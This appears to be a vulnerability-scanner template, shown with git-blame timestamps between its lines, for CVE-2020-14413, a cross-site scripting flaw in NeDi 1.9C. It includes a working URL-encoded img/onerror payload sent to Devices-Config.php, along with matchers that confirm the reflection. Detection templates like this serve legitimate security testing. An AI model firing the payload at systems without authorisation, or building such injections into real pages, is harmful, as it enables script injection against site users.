2021-03-08 05:28:55 +00:00
id : CVE-2020-14413
info :
2022-08-16 14:14:41 +00:00
name : NeDi 1.9C - Cross-Site Scripting
2021-03-08 05:28:55 +00:00
author : pikpikcu
severity : medium
2023-04-12 10:55:48 +00:00
description : NeDi 1.9C is vulnerable to cross-site scripting because of an incorrect implementation of sanitize() in inc/libmisc.php. This function attempts to escape the SCRIPT tag from user-controllable values, but can be easily bypassed, as demonstrated by an onerror attribute of an IMG element as a Devices-Config.php?sta= value.
2023-09-06 12:22:36 +00:00
remediation : |
Upgrade to a patched version of NeDi or apply the vendor-supplied patch to mitigate this vulnerability.
2022-04-22 10:38:41 +00:00
reference :
- https://gist.github.com/farid007/8db2ab5367ba00e87f9479b32d46fea8
2022-08-16 14:14:41 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-14413
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 6.1
2021-09-10 11:26:40 +00:00
cve-id : CVE-2020-14413
cwe-id : CWE-79
2023-04-12 10:55:48 +00:00
epss-score : 0.00095
2023-12-12 11:07:52 +00:00
epss-percentile : 0.39589
2023-09-06 12:22:36 +00:00
cpe : cpe:2.3:a:nedi:nedi:1.9c:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : nedi
product : nedi
tags : cve,cve2020,nedi,xss
2021-03-08 05:28:55 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-03-08 05:28:55 +00:00
- method : GET
path :
2021-03-09 09:15:03 +00:00
- '{{BaseURL}}/Devices-Config.php?sta=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E'
2021-03-08 05:28:55 +00:00
matchers-condition : and
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : body
2021-03-08 05:28:55 +00:00
words :
- "<img src=x onerror=alert(document.domain)>"
2021-03-09 09:15:03 +00:00
- type : word
part : header
words :
2022-08-16 14:14:41 +00:00
- "text/html"
2023-07-11 19:49:27 +00:00
- type : status
status :
- 200
2023-12-12 12:02:03 +00:00
# digest: 4a0a004730450221009f27a2f5dfff6d6f598d6bc1409cd7c4b0c15ccede5ea538eaac15d28ed36b1a0220685e4c47db92da426703ecfed50f6b93c2e97cb3bba732e06545df62f3b62743:922c64590222798bb761d5b6d8e72950